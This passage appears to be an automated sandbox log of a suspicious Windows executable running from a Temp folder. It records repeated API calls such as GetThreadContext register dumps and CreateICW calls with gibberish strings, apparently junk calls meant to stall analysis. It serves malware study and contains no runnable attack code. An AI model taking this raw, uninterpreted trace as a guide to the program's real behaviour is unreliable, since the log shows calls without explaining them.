[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.162] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.163] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.163] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.163] GetConsoleCP () returned 0x0
	[0066.163] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.163] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.164] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.164] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.164] GetConsoleCP () returned 0x0
	[0066.164] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.164] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.165] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.165] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.165] GetConsoleCP () returned 0x0
